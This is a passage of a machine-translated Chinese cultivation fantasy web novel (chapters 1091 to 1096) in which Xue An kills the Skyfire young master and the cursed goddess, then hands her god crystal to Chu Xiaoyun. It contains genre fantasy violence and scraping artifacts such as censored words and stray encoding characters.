    Pu Yanru, Ruan Jingxiu and other women trembled even more.


    "Qi Shao..." Ruan Jingxiu murmured in a dull expression, as if he couldn''t believe that Qi Shao had surrendered.


    At this time, Qi Hongbo took a deep breath and slowly said: "Friend, you are strong enough to win respect. I am not your opponent. Now I give up! As for what you did before, all of them are written off, and I will never Will intervene again, what do you think?"


    "A write-off?" Xue An smiled lightly.


    "Yes!" Qi Hongbo nodded, then glanced distressedly at the quiet blue sky fire in Xue An''s hand, "This sky fire is my apologize! And you will also win the friendship of my sky fire gods!"


    There was a commotion in the crowd.


    Many people looked at Xue An with envy.


    The friendship of the Skyfire God Race, and there is also an apology from Young Master Skyfire.


    At this time, the face of the young man in white was bare.


    Presumably, he will immediately agree to it.


    A look of arrogance appeared on Qi Hongbo''s face, and he did indeed feel a little fear of Xue An now.


    Because he couldn''t understand Xue An''s strength, he would take this trick to slow down.


    As long as you can get out first, wait until you return to the clan, and report these things to your father.


    I believe that my father and the elders will come to **** it at all costs when they hear that someone can condense the sky fire within a stick of incense!


    Then... it''s time for my revenge!


    From beginning to end, Qi Hongbo never thought whether Xue An would disagree.


    In his opinion, there is no need to ask at all.


    But at this moment, Xue An smiled playfully.


    "It sounds good, but I am a person who always counts. Since I just said I want to kill you, you must die!"


    "Huh?" Qi Hongbo shocked all over, then looked at Xue An angrily.


    "Surnamed Xue, don''t be shameless, I am the dignified Young Master Tianhuo. I apologized to you. What else do you want?"


    Xue An''s smile gradually became cold, and he said in a distant tone: "You seem to have never understood one thing!"


    "That''s from the time you are against me, your life and death are not yours!"


    After all, Xue An didn''t wait for Qi Hongbo to react, and kicked Qi Hongbo to the ground as soon as he raised his foot.


    Qi Hongbo still wanted to struggle, but at this moment, Xue An stepped on his head.


    Qi Hongbo was furious and struggling, trying to get rid of this humiliating situation.


    But Xue An''s feet are so heavy, no matter how hard he struggles, he can''t shake it.


    "It used to be that you stepped on someone else''s head. How does it feel to change roles now?" Xue An said lightly.


    There was a sense of despair in Qi Hongbo''s heart.


    Since childhood, he has not encountered such a situation.


    The monstrous anger made Qi Hongbo lose his reason and began to curse Xue An frantically.


    "#��%@��Ѧ��, don��t be too proud, if you dare to kill me, my father, the elders, and even the entire Skyfire God Clan will never let you go. You will taste it for thousands of years. You can die after suffering!"


    Hearing this crazy curse, Xue An raised his eyebrows slightly, and said indifferently: "You must have a clean mouth, be a man of interest, and be a god, even more so! You don''t even understand this truth, you should go to death earlier!"


    "No..." Qi Hongbo felt the bitter killing intent from Xue An.


    This made his boiling mind finally calm down, and then he wanted to say something.


    But everything is too late.


    Xue An used his feet.


    boom!


    Qi Hongbo''s head burst open and it exploded into a rotten watermelon.


    Blood was flowing, and the body trembled.


    But at this moment, ripples appeared in the void, and then Qi Hongbo''s soul jumped out of the corpse, turning into a white light and fled straight to the ripples.


    "Want to go?"


    Xue An waved his hand, and the quiet blue sky fire in his hand flew into the middle of the sky.


    call!


    The faint fire is flourishing.


    There was a rapid scream in the void, and there was endless fear and resentment in the scream, but soon it fell silent.


    Qi Hongbo''s body on the ground also rose into flames, and then burned into nothingness in an instant.


    At this point, Qi Hongbo, the young master of the Skyfire God Race, was completely destroyed.


    And since Xue An entered Sendai to the present, in just half an hour, he has cut several great arrogances.


    All the wealthy Tianjiaoes who had been in the Jade Pavilion before, except for Zhong An''an, are all dead.


    On the **** Sendai, Xue An stood proudly, like a **** in the dust.

 Chapter 1091： Battle God

    Everyone stared blankly.


    Many people have been shocked to almost numb by these successive events.


    Xue An raised his head to look at the cursed goddess who was above the upright position, and said lightly: "Are you very happy to see me killing them all?"


    The cursed goddess''s complexion changed slightly, but she still giggled and said, "Oh? Why would I be so happy?"


    "Because whether I kill them or be killed by them, it will only benefit you, right?"


    "You are smart!" The cursed goddess smiled slowly, "so smart I want to kill you!"


    Xue An also smiled, "Looking at the knife to kill and then destroying the knife, this strategy is not bad! It''s a pity..."


    "I am not a knife, and you are not even a person holding a knife!"


    The cursed goddess sneered again and again, "Then what do you want?"


    Xue An��s eyes gradually grew colder, ��I said before, today I am going to kill, in order to... just to slaughter your Amaterasu gods!��


    boom!


    If what Xue An did before only shocked everyone, then his words now seem to be shocking, making everyone''s eyes wide open.


    Slaughter the Amaterasu gods.


    It takes much courage and strength to dare to say such a thing.


    We must know that although Amaterasu God Realm ranks very low among the God Realms of the God Realm, it is a side God Realm after all, in which the strong are like clouds, and the gods dominate the world, which makes people afraid to look directly.


    But this young man in white dared to say the words of slaughtering the Amaterasu gods, which is simply crazy.


    Even Zhong Anan, who was so mad that he had always valued Xue An, couldn''t help but shook his head secretly.


    Although Xue An''s strength just shown is shocking enough, even Zhong An''an believes that his strength is very likely to be the first person among the younger generation of God''s Domain in this area.


    After all, even Qi Hongbo has died in his hands.


    But the gods of Amaterasu are all long-famous powerful deities, and they are not at all dared by ordinary practitioners.


    This boy in white is still too confident! Zhong Anan thought in his heart.


    And cursing the goddess is even more like hearing a joke, first for a moment, then laughed mockingly.


    "Slaying the gods of amaterasu? Boy, do you know what you are talking about? Don''t think that you can overwhelm the strong of the same generation, in my eyes, you are just a stronger ordinary man! To destroy you, just use your hand can!"


    Later, cursing the goddess was full of murderous intent.


    Xue An was not moved at all, but said indifferently: "Are you finished? After you finish speaking, the demise of the Amaterasu gods will begin with you!"


    The cursed goddess smiled in anger, "Little..."


    She didn''t finish her words, because Xue An stepped and flashed, he appeared directly in front of the cursed goddess, and then raised his fist.


    The power of this fist compressed and squeezed the air wherever it went, making a huge boom.


    But in the face of this blow, the cursed goddess'' face flashed with disdain, and then she flicked her sleeve.


    Bang.


    This punch was interrupted by Shengsheng, and Xue An was also shaken back dozens of steps by a powerful force.


    The cursed goddess stood up slowly, looked down at Xue An from a high level, and said arrogantly: "You still don''t understand what the gap between gods and people means! Your punch may be considered good, but in my eyes, Like a baby playing with an axe, people just want to laugh!"


    The audience was solemn.


    Many people looked at Xue An with bad eyes.


    After all, Xue An''s appearance just now was too strong, he even cut a few great arrogances, and even pretended to slaughter the Amaterasu gods.


    Such words and deeds naturally arouse the envy of many people.


    Now that Xue An, who was crushed all the way like a bulldozer, was finally frustrated in front of the Lord Goddess, these people were naturally full of joy.


    Chu Xiaoyun exclaimed, "My lord!"


    The goddess of the curse turned her head and glanced at Chu Xiaoyun, then sneered: "Chu Xiaoyun, since you dare to collude with outsiders to deal with your own teacher, then you have to pay the due price today, and wait until I clean him up. Let you taste the taste of punishment!"


    In the past, Chu Xiaoyun, when facing the cursed goddess, always shuddered and feared like a tiger.


    But until today, she has understood that no amount of fear will help, so after hearing the words of cursing the goddess, her eyes grew colder.


    "Master? Ha ha, have you ever considered me to be your apprentice? If it weren''t for harvesting my natural blood, you might have killed me long ago!"


    "Death!" The cursed goddess did not expect that her always obedient apprentice would dare to refute herself in public. She couldn''t help but burned with anger, her eyes flashed, and a grey brilliance came straight to Chu Xiaoyun.


    Whenever they saw this gray brilliance that exuded corruption, everyone looked panic and backed away.


    Because they all know that this is the fame and extinction of the goddess of the curse, the light of the curse.


    This thing is extremely difficult to get rid of, once it is contaminated, it is as difficult to remove as a tarsal maggot.


    Even if you are a king-level powerhouse, you have to peel off your skin to get rid of it.


    This is why the goddess of curse is a new god, but has such a transcendent status.


    Because other Amaterasu gods also had to back down by three points when faced with this strange attack method.


    Chu Xiaoyun naturally understood what this was, but now she was unable to retreat, so she could only take a deep breath, and then agitate all the divine power of her body, trying to work hard.


    But at this moment.


    A figure suddenly appeared in front of her, directly blocking the light of the curse with his body.


    "My lord!" Chu Xiaoyun cried out in exclamation.


    The audience was quiet, and then there was a low uproar.


    "Now, this guy is dead!"


    "Yes, I dare to use my body to resist the curse light of Lord Goddess. I really don''t know how the word "death" is written!"


    In these noisy discussions, the face of the goddess of curse also showed a touch of color.


    No one can be safe from the light of his own curse, not even the Lord God King, let alone this young man.


    But just when everyone felt that Xue An must have been seriously injured even if he did not die.


    Xue An, who was haunted by gray light, gradually laughed.


    "Is this the power of your curse? Old age, decadence, rancidity, weakness... It''s quite lively, but unfortunately..."


    With that, Xue An flipped his hand and saw the gray light receding like a tide, and then gathered in the palm of Xue An''s palm.


    Xue An held the gray ball in his hand and said lightly: "It''s still too weak!"


    As he said, Xue An suddenly shook it.


    This gray brilliance was directly pinched into nothingness.


    The cursed goddess was also a little surprised.


    She hadn''t seen anyone like Xue An who regarded her curse on nothing.


    what happened?


    Could it be that he has a powerful magic weapon that can be immune to curses?

 Chapter 1092： God returns

    A thought flashed in the cursed goddess'' heart, and Xue An''s voice came from behind her.


    "The game begins, I hope you have a good time!"


    The muscles of the cursed goddess tightened instantly, because she could clearly feel Xue An standing behind her, and she could even feel Xue An''s heat exhaling from her neck.


    This made the cursed goddess hair stand up, but her movements were not unpleasant.


    A slender beautiful leg kicked back in a short period of time.


    Although the goddess of curse is not good at physical skills, the power of the gods makes her feet full of extremely lethal power.


    Can be unexpected.


    The foot of the curse goddess is empty.


    At this moment, the alarm bell in the heart of the goddess of cursing was overwhelming, the divine power surged, and the figure gradually faded, and she wanted to travel through the void and move away.


    But at this moment, one hand plunged directly into the void, grabbed the cursed goddess by the neck, and slammed it back.


    The cursing goddess was struggling, and she was dragged by Shengsheng to bend down.


    At the same time, Xue An fell on his knees.


    Click!


    There was a terrifying crack of fracture.


    This knee bump directly exploded the spine of the cursed goddess, and its strength was so strong that it penetrated from the front of the chest and abdomen, bringing out countless blood fog.


    The cursed goddess screamed and wanted to struggle, but Xue An didn''t give her this opportunity, and kicked out the other foot again, kicking the two legs of the cursed goddess.


    Next, is Xue An''s performance time.


    Seeing all kinds of physiques unfolding in Xue An''s hands, the cursed goddess turned into human sandbags, being beaten flying around, screaming again and again.


    The audience could hear the rattle of many people''s teeth quietly.


    No one thought that the situation would develop in this direction.


    The cursed goddess who was just now domineering, suddenly became Xue An''s human sandbag.


    This gap not only made the guests who came to the gift be unbelievable, but even the people at the main gate of the cursed city did not believe it.


    But the fact is right in front of him. The lump in the sky is flying around, and it is no longer visible that the human-shaped rotten flesh is the goddess who has just been energetic.


    And at the beginning, there were a few screams, but now there are no more screams.


    Could it be... the goddess has been beaten to death?


    This idea circulated in many people''s minds, causing their hairs to stand up.


    At this time, Xue An was seen flying into the air holding the cursed goddess in human form, and then fell with an elbow, smashing the cursed goddess into the ground.


    The originally level and hard ground of Sendai, after Xue An''s tossing, was finally overwhelmed, and after a mournful cry, it fell apart.


    And a big hole with no bottom, appeared in the center of Sendai.


    Everyone stared blankly.


    After a long while, Ruan Jingxiu swallowed hard, and tremblingly asked, "Pu...Sister Pu, Master, she...she won''t be really dead, right?"


    Pu Yanru also looked silly.


    She really didn''t expect Xue An to be so tough, even her master was beaten like this.


    But Master Master, is it really that simple to be defeated? Pu Yanru had some doubts.


    At this moment, he listened to the sound of a vicious and vicious laugh from the deep hole.


    "Very well, you successfully angered me! Boy, you are the first person who dares to do this to me, I will make you a specimen and let you enjoy the torture of eternity!"


    This voice made many people look happy.


    "It''s Master! Master is not dead!" Ruan Jingxiu shouted in surprise.


    As soon as the voice fell, Pu Yanru slapped her hand and scolded: "Nonsense, Master Master is the supreme god, of course he will not die!"


    "Yes, yes!" Ruan Jingxiu hurriedly nodded, covering her face.


    At this moment, wisps of brilliance appeared in the deep hole, and then countless gray smoke came out.


    The smoke makes people avoid it.


    Only Xue stood quietly in the field, watching coldly.


    With the madness of gray smoke pouring out, Sendai began to tremble.


    Suddenly.


    There was a violent shaking on the ground, and then the brilliance was flourishing in the deep hole.


    The smoke gathered together, and gradually condensed into a human form.


    This condensing speed is very fast, almost in the blink of an eye, the figure of a woman condenses.


    When the woman slowly opened her eyes, a strong force shocked the audience.


    This coercion is so powerful.


    Even the entire void of Sendai was condensed, and the spiritual situation could not be volatile.


    Pu Yanru thumped and fell to her knees, knocking her head very excitedly, and muttering in her mouth: "Welcome to Lord Goddess to return!"


    Pu Yanru''s kneeling played a leading role, and everyone in the audience knelt down.


    In fact, some people didn''t want to kneel down, but under the powerful pressure radiated by the cursed goddess, they were forced to kneel down. He couldn''t even lift his head suppressed.


    And Pu Yanru''s welcoming return has made many people feel confused.


    Because only those who are as strong as the ancient gods are qualified to use homing to describe them.


    Could it be... Many people were shocked.


    really.


    Seeing the power and power of the goddess of cursed rushing forward like a stormy sea, it immediately enveloped the audience almost in substance, making people tremble with breath.


    "It''s an ancient **** level! The Lord Goddess finally broke through to become a powerful Da Luo!" Pu Yanru burst into tears with excitement.


    And this sentence was astonishing, making almost everyone crawling on the ground respectfully, no longer daring to show the slightest disrespect.


    Because the ancient **** level represents the highest strength of the gods in the present world.


    Once promoted, it means immortality, and truly become the strong man on the command side.


    At this time, many people have already sentenced Xue An to death in their hearts, without others saying.


    Because no one will be the opponent of the ancient **** level powerhouse.


    What''s more, this ancient god-level powerhouse is still an existence who is good at cursing ~ www.novelhall.com~ Such a disparity in strength, in everyone''s eyes, has wiped out Xue An''s hope of survival.


    But in this case, Xue An still stood there quietly, but the light in his eyes gradually became bitter.


    At this time, the goddess of the curse said in an ethereal and majestic voice: "Your physical skills are good, and your tricks are also very sophisticated, but do you really think that you can defeat a **** by this?"


    "You know, what you just hit was just an incarnation of me! And this is my real body!"


    Xue An sneered coldly, "Oh? So what? If you fight in an incarnation, can you not fight with your divine body?"


    There was a sneer on the holy and unblemished face of the goddess of curse, "To be honest, I''m really curious how courageous you are, you dare to be so arrogant at this time!"


    "How big is it, you can try!" Xue An said indifferently.

 Chapter 1093： Tushen begins

    "Looking for death!" The cursed goddess was angered by Xue An''s clearly ambiguous sentence.


    Seeing her eyes flashed.


    A dark gray brilliance with a strong ominous scent came down like rain.


    Wherever he went, it seemed that even the space had been corroded with big holes.


    Xue An flickered and wanted to avoid the blow.


    But the curse goddess sneered and grabbed it with a palm.


    Seeing all chains emerging out of thin air, all the escape routes around Xue An were blocked.


    Xue An''s figure couldn''t avoid it, and was completely covered by the light of the curse like rain.


    "My lord!" Chu Xiaoyun, who was half-kneeled by the power, groaned when he saw it, and then desperately urged his entire body to his powers, and stood up for his life.


    She had no scruples now, even though she knew that she might not even be able to curse a single hair of the goddess.


    But even if he died just like this, it would be better than the endless torture afterwards.


    But the cursed goddess sneered, and without seeing any movement from her, an invisible pressure directly fell on Chu Xiaoyun.


    boom!


    Chu Xiaoyun was crushed and knelt on the ground, the knees of both legs burst open.


    Then cursed the goddess coldly: "Want to die? It''s not that easy. If this guy dies, you will have to bear endless punishment for him! Even your natural blood will become my collection! And now I can. I''ll tell you, your Chu Family was destroyed because of my proposal to Lord God King!"


    Hearing this, Chu Xiaoyun''s eyes were red, and she stared at the cursed goddess very bitterly, but now she can''t even move a finger, and it''s impossible for her to explode herself.


    Because cursing the goddess has directly imprisoned her completely.


    At this time.


    The light of the curse faded away.


    In the viewing area, there was nothing but a large crater corroded on the ground standing there.


    Chu Xiaoyun was bleeding when she saw this.


    But everyone in the audience was relieved.


    In fact, everyone takes this result for granted.


    After all, the cursed goddess has now become a big Luo-level powerhouse, and she can easily kill her opponents by making her own shots.


    Pu Yanru and Ruan Jingxiu both smiled brilliantly.


    The crowd also began to talk relaxedly.


    "Tsk tusk, you dare to arrogantly oppose the Lord Goddess, now it''s all right, the soul is gone!"


    "Who said no, I was thinking about slaughtering all the adults in Amaterasu God Realm, but as a result, even the goddess couldn''t get through. What a joke!"


    "You said he was really dead? Then why don''t you see the body?"


    "Hehe, haven''t you seen a big pit corroded in the ground? In this case, let alone the corpse, there is probably no more bones left!"


    In these discussions.


    Zhong Anan stood silently behind the crowd, his eyes a little sad.


    Sure enough, it''s still dead!


    It''s a pity for such a stunningly talented young man.


    If it is not too arrogant, it leads to this ending.


    Zhong An''an really wants to come forward to get to know this Xue An.


    At this time, the cursed goddess scanned the audience, and the noise faded.


    "You can see, this... is the end of going against me!" The cursed goddess said lightly.


    "My Goddess, we have all seen it! This guy takes the blame for everything, and can''t blame others!"


    "Yes, we must take it as a warning in the future!"


    "Correct!"


    The shouts of this kind came one after another, making the cursed goddess''s face shine, and then slowly turned around, preparing to leave.


    At this moment, a faint sigh came from behind her.


    "The strength is pretty good, and the condensed Ronaldo is also complete enough, but unfortunately... the qualifications are too poor and the future is limited!"


    Hearing this voice, the cursed goddess who was about to leave with a smile on her face was shocked and shocked.


    Although this divine body is not a mortal body, without hair or other things, the goddess of curse still feels a deep chill.


    But her reaction was fast enough, and Da Luowei came out with pressure and instantly blocked all the space around her body.


    In this case, even if someone wants to sneak attack, it is impossible!


    But this time, she made the wrong idea.


    Seeing that in the void that was blocked by layers, a palm slowly protruded, and then at an almost impossible angle, he grabbed the cursed goddess'' neck.


    "I just said that in my eyes, whether it''s an incarnation or a **** body, I can''t miss it all!"


    With that said, this hand caught the cursed goddess'' neck and it was an explosion.


    boom!


    The body of the cursed goddess was like a cannonball, which was thrown down heavily, and then completely shattered Sendai, which was already torn apart.


    Everyone looked up and stared blankly, couldn''t believe what they saw.


    Because just now, Xue An, who was considered by everyone to be bound to die, gradually emerged in the void at this moment, standing proudly.


    "This... this is impossible!" Pu Yanru screamed out of shock.


    But whether she believes it or not, Xue An is standing in the void now, overlooking everything below indifferently.


    At this time.


    The cursed goddess who had been blasted off suddenly rushed out of the ground, without the slightest blemish, and there was already a slight crack on the clean and immaculate body.


    But this is not what Cursed Goddess cares about. She stared at Xue An, "Why are you immune to my cursed light?"


    Xue An smiled slightly, "There is no reason, it is simply that you are too weak!"


    The goddess of curse took a deep breath, "You are more and more surprised by me, but I don''t care who you are and what your origin is! Today, I will let you die!"


    Following the exit of the last dead word, the cursed goddess looked solemn and pointed.


    "Essence Curse Seal!"


    A nearly transparent brilliance burst out, pointing directly at Xue An.


    This curse is specially prepared by the goddess of curse to deal with peerless powerful people. The curse is not ordinary weakness, life and death, etc., but directly points to the source of strength and directly obliterates it.


    This kind of magic requires extremely vast divine power, so the curse goddess rarely uses it on weekdays.


    But today, in order to obliterate Xue An, she brazenly made a move.


    In a flash, Xue An''s body seemed to be sealed by layers of shackles and her breath began to weaken rapidly.


    In an instant, he couldn''t even maintain his posture in the air, and fell straight down.


    Upon seeing the curse goddess, finally let out a sigh.


    In any case, his curse finally came into effect.


    As long as his cultivation is exhausted, the only thing waiting for Xue An is death.


    But at the moment Xue An''s body was about to land, everything stopped.


    Then Xue An stood firmly in the air and smiled at the cursing goddess.


    "It''s as if you will break through!"


    With the voice, I saw the chains that bound Xue An exploded one after another.


    And a strong momentum soared into the sky, making the situation change.


    The majesty of the true fairy begins to appear!

 Chapter 1094： Dao heart is like the first

    "How... how is it possible?"


    The cursed goddess was like seeing a ghost, and then hissed: "It''s just a real fairy, why is there such a powerful power!"


    Xue An showed her white teeth and smiled sensibly, "You guessed it, you guessed it, but there is a reward!"


    With that, Xue An tore off all the curse shackles, his eyes were shining brightly, and the whole body was thoroughly condensed from the inside out.


    In the huge earthquake.


    Xue An finally broke through half a step of the real fairy and stepped into the realm of real fairy.


    I saw a series of laws of the heavens transforming into rainbow light, lingering around Xue An.


    The mighty power, even the power of Luo that cursed the goddess, was forced to retreat.


    The audience was shocked.


    Xue An raised his hand and said lightly: "Now, tell me your answer!"


    As the aura pointed, the cursed goddess was shaking, and a panic flashed in her eyes.


    But soon, she gradually calmed down, "No matter how amazing the power is, what can I do? It''s just a real fairy, I really thought I was afraid of you!"


    With the voice, the long hair behind the cursed goddess'' head began to grow wildly, and turned into countless evil vines before and after, wriggling like a living thing.


    In an instant.


    Most of Sendai was occupied by the evil vine, which cursed the goddess.


    Everyone panicked and hid in the corner, watching all this in horror.


    Pu Yanru''s face was solemn, "My Goddess, I''m completely angry!"


    really.


    I saw the wisps of blood appearing under the snow-white skin of the goddess of curse, and then they were knotted together, which made the scalp numb.


    But the lips of the goddess of cursing turned from red to black, and his eyes gradually turned gray, full of evil and strange beauty.


    This kind of change has stunned everyone.


    Only Xue An held his shoulders and looked at him with a smile.


    At this time, the cursed goddess slowly said in a cold and hollow voice: "You can force me to show this form, it''s quite proud!"


    "Today, I will let you know what is the power of the gods!"


    boom!


    Following the words of the cursed goddess, he was walking around, as if the sky full of evil vines looking for prey rushed towards Xue An at a very fast speed.


    Wherever he went, the space collapsed, like the end.


    Xue An''s face also showed a dignified look.


    This cursed goddess is now displaying all his divine powers, directly manifesting the strongest ultimate form.


    Its strength is several times stronger than before.


    But the more so, Xue An''s fighting spirit is boiling.


    Back then, walking alone in the heavens, the reason why Xue An was able to achieve the Supreme Immortal Venerable in just a thousand years is because he has never been timid no matter how strong he is facing.


    Regardless of the level of cultivation and strength, if you want to convince people, you have to fight with your fists.


    Therefore, Xue An initially fought against the sky, relying on his own power to reach the top.


    And now, Xue An is even more like a heart with iron, and his fighting spirit is like a furnace.


    The so-called repairer is like this.


    If you don''t go against the sky, don''t conquer everything, how can you talk about spanning the past and taking control of the universe.


    now.


    The sky full of evil vines has arrived, the number is like a huge gray wave, it seems that Xue An will be completely swallowed in the next second.


    Xue An''s eyes were like iron, and he slowly said: "At the beginning, I created my own six ways to kill the gods. There are countless strong men who died under my fist, but you are the first one to kill the gods!"


    "So today, I want you to understand what invincibility is!"


    "Six Types of Killing God, Hey!"


    After all, Xue An shook his palm into a fist and strode out.


    boom!


    A palpitating bright light burst.


    At this moment, many people even had an illusion, as if a round of light appeared in Xue An''s hands, which made people afraid to look directly.


    The fist moved forward and hit the attacking Evil Vine.


    Click.


    The evil vine, which was originally like a swarm of snakes, suddenly stagnated, and then a shock wave suddenly spread with Xue An''s fist as the center.


    Wherever he went, the evil vine completely turned nothingness.


    The cursing goddess screamed, the skin on her face began to crack, revealing the creeping vines below.


    At this moment, she has no human form anymore, showing her true colors.


    But the more so, the more violent she became.


    "Jie Jie, a strong punch, but I am a god, so I am not dead! It''s useless!" The cursed goddess said with a smile, the gray mist filled up, and the evil vine, which was just destroyed, came back to life , And then completely enveloped Xue An''s body.


    The whole audience could only hear the rubbing sound of evil vine wandering.


    A smile just appeared on the corner of the cursed goddess'' mouth.


    Next second.


    These evil vine pieces disintegrated, and then Xue An slowly walked out of it, surrounded by sword energy.


    The cursing goddess was taken aback.


    At this moment, Xue Anta took a step forward and flew directly to the cursed goddess.


    Evil Vine wanted to stop, but Xue An''s haunting sword light was invincible, crushing all obstacles on the way forward.


    In an instant.


    Xue An had already flown to the cursed goddess, and before she had time to react, she raised her fist and blasted her face to pieces.


    Next, is Xue An''s performance time alone.


    Seeing the goddess of cursed being beaten by Xue An into the sky, every punch shredded her body.


    In the end, the cursed goddess was left with a lonely gray light, and all the arrogance before it disappeared.


    Then Xue An stepped on it with one foot and said lightly: "I said, no matter what form it is, I can''t miss it!"


    The audience was solemn.


    No one thought that the situation would actually develop in this direction. After all, this was the third time the cursed goddess had been beaten.


    Whether it was the incarnation, the divine body, or the ultimate body, Xue An was beaten into human sandbags.


    At this moment, under Xue An''s feet, a virtual image of the cursing goddess gradually emerged, and then Jie Jie laughed strangely.


    "You are indeed strong, but what about it? You have the ability to kill me?"


    Xue An remained silent and stepped directly down.


    Click.


    This brilliance shattered, but after a while, it reunited.


    "It''s useless! You can''t kill me with your fists!" The cursed goddess smiled sarcastically.


    Xue An narrowed his eyes, and a sword light cut straight down.


    But it still doesn''t help.


    Although cut in half, the cursed goddess reconnected in the next instant.


    The cursing goddess clamored triumphantly.


    "It''s useless. After becoming a big Luo, I am truly immortal. Although you can overcome me, you can''t kill me, and I will chase you forever, and even curse everyone around you. The eternal kind!"


    The tyranny and hatred in words makes people shudder Oh, is it? "Xue An''s eyes grew colder, then raised his hand and pointed, and he saw a red and white flame above his fingertips.


    "I don''t know this, can I kill you?"


    The cursed goddess didn''t care at first, but when she saw this ray of flame, she couldn''t help but was shocked and shouted in horror: "Impossible, why do you have such a flame?"


    "This answer is left to you to guess below!" Xue An said coldly and waved casually.


    The flame instantly enveloped the cursed goddess.


    "Impossible, I am the **** of destiny, how could I die in the hands of mortals like you! I am not convinced!"


    Covered by flames, the cursed goddess still refused to admit defeat, struggling frantically.


    But all the struggles did not help, the flames began to crazily incinerate her body, dissipating her cursing power.


    Amid the screams, the cursed goddess fell!

 Chapter 1095： The fire refines the crystal, the revenge of a lifetime is reported today

    The flames gradually dissipated, and the cursed goddess was no longer visible on the ground, only a dazzling light crystal floating in the air.


    Xue Anxin took it in his hand, and the brilliance on the crystal gradually disappeared.


    Everyone stared blankly, no one dared to speak.


    Only a few people secretly swallowed, and their hearts trembled.


    Because they all recognized what this thing is.


    When a **** dies, its godhead has the opportunity to turn into a spar.


    Moreover, the transformed **** crystals often contain all the divine powers of his lifetime, which is extremely precious.


    And the higher the gods, the more crystal clear their crystals.


    Looking at the crystal made by the goddess of curse, it is extremely delicate and obviously of high quality.


    It can be said that if this **** crystal appears in other places, it will definitely attract frantic snatches from all parties, and a **** storm will definitely be inevitable.


    But now no one dares to feel greedy at all.


    Therefore, at this moment, this **** crystal is being held by Xue An.


    Everyone has seen what happened in this celebration of the gods'' birthday.


    From the time Xue An entered the arena to the present, it was an hour''s situation, and as a result, several great clan Tianjiao died, and the Temple of Power was destroyed.


    In the end, even the cursed goddess who had just been promoted to an ancient god-level powerhouse was killed on the spot.


    How can this level of strength not shock everyone.


    In fact, if it hadn''t been for the fact that the Sendai space was now under lockdown, many people would have escaped long ago.


    I just don''t know how this strong young man who didn''t know where he came out will deal with this **** crystal?


    And what does he plan to do next?


    Many people are thinking about it.


    At this moment, I saw Xue An weighing the **** crystal in his hand and smiled slightly, "This thing is pretty good! Even the godhead has been inherited perfectly!"


    With that, Xue An raised his head and glanced at Chu Xiaoyun, who was still in a daze.


    "I keep this thing useless, give it to you!"


    Xue An threw it away.


    Chu Xiaoyun caught it subconsciously, and then realized what had just happened, and couldn''t help looking at Xue An with a horrified face.


    "My lord, I can''t ask for this thing!"


    "why?"


    "Because..." Chu Xiaoyun bit his lip, "It''s too expensive!"


    As he said, Chu Xiaoyun bowed down, "You helped me avenge my gratitude. I am already grateful, how can I ask you for this kind of gift again."


    Speaking of this, Chu Xiaoyun''s tears were already welling up.


    I don''t know if it was because of the shackles of the curse that disappeared with the death of the cursed goddess, or because of the vengeance already reported.


    Chu Xiaoyun felt that she had relieved her heavy burden, and her whole person was extremely relaxed, so she was infinitely grateful to Xue An.


    Xue An smiled slightly, "You may think this thing is very precious, but to me it is almost like a waste, and now this cursed goddess is dead, leaving such a big mess has to be finished!"


    With that said, Xue Anta took a step forward and said coldly: "You...are you willing to inherit this vacant position of God?"


    boom!


    There was a slight commotion among the crowd.


    Countless people''s envy and jealous eyes are red.


    Because this is a good thing to reach the sky in one step.


    Chu Xiaoyun was also taken aback, then shook his lips and nodded heavily, "My lord, I do!"


    Xue An nodded, "Well, then I will help you!"


    As he said, the **** crystal in Chu Xiaoyun''s hand slowly floated in front of her.


    Xue An pointed at it casually, and this sacred crystal showed a surging divine light, and then suddenly shattered into powder, turned into a river of divine light, and began to converge between Chu Xiaoyun''s eyebrows.


    As the divine light gradually flourished, Chu Xiaoyun''s body was shocked, and the momentum on his body began to grow stronger, and the cultivation base was also beginning to break through.


    In an instant.


    Seeing Guanghua fade away, a small red mark of God crystal appeared between Chu Xiaoyun''s eyebrows, and the aura on his body was as vast and powerful as the ocean.


    Absolutely, he was already a semi-ancient god-level powerhouse.


    And this is just the beginning. Once she has absorbed all the divine power contained in this cursed crystal, even if she can''t break through Da Luo, her strength will be greatly enhanced.


    What''s more, what Chu Xiaoyun inherited was not only the divine power left by the cursing goddess, but also all kinds of secret magic spells.


    All this caused Chu Xiaoyun to transform himself into a strong man who was astounding the world.


    Chu Xiaoyun slowly opened his eyes, and everyone backed away as soon as he could.


    Xue An stood with her hand in front of her, "This supernatural power is temporarily lent to you, if you also behave like the cursed goddess before, you will end up worse than her, understand?"


    "Yes, my lord!" Chu Xiaoyun nodded solemnly.


    "Get up!"


    Chu Xiaoyun slowly got up and stood beside Xue An with his hands down.


    Xue An looked around the audience.


    As far as they could see, everyone lowered their heads in silence.


    And when Xue An''s gaze swept across Pu Yanru and Ruan Jingxiu, who were already shaking.


    The two of them shuddered and fell directly to the ground.


    Xue An lowered his eyes and said faintly: "These two people should be regarded as your apprentices now, so they will leave it to you to deal with, how to do it yourself!"


    Chu Xiaoyun also glanced at Pu Yanru and Ruan Jingxiu after hearing the words, then nodded gently, "Yes!"


    "As for the other people..."


    Xue Anla has a long voice.


    At this time, many people were frightened and talked in a hurry.


    "My lord, we are all innocent!"


    "Yes, this cursed goddess is too strong, we have to come and congratulate her in order to survive!"


    "My lord, please forgive me!"


    These shouts one after another.


    Naturally, Xue An didn''t bother to care about these ants, because no matter when and where, this kind of rudder was very common.


    Therefore, Xue An just smiled faintly, "Okay! I didn''t say to kill you! Why are you so nervous? It makes me seem to be bloodthirsty!"


    Everyone didn''t dare to say anything when they heard the words, they just whispered in their hearts.


    Isn''t this bloodthirsty?


    "Okay! Leave the rest to you! I''ll go one step ahead!" Xue An was about to go.


    Chu Xiaoyun was taken aback, and hurriedly asked: "My lord, where are you going?"


    Xue An said indifferently: "Have you forgotten what I said before? Naturally, you are going to slaughter other gods in Amaterasu God Realm!"


    Everyone is stupid!


    Because people all thought Xue An was just talking Is he really going to slaughter all the Amaterasu?


    But how is this possible?


    Even if the other gods are not Xue An''s opponents, there is still an Amaterasu God King!


    Even Chu Xiaoyun was dumbfounded, "Big...sir...I think it''s better to discuss this matter from a long-term perspective!"


    "Long-term plan?" Xue An smiled and shook his head, "I don''t like procrastination, especially revenge, never overnight, usually on the spot!"


    "What''s more, this hatred has been put on hold for thousands of years! It''s time to end it!"


    After all, Xue An stepped out and went straight into the sky.


    "Wait here, I''ll be back when I go!"


    When the words fell, Xue An''s figure had disappeared into the sky.

 Chapter 1096： Arctic City

    Looking at the empty sky, the expression on Chu Xiaoyun''s face gradually became solemn, then she retracted her gaze and looked at everyone.


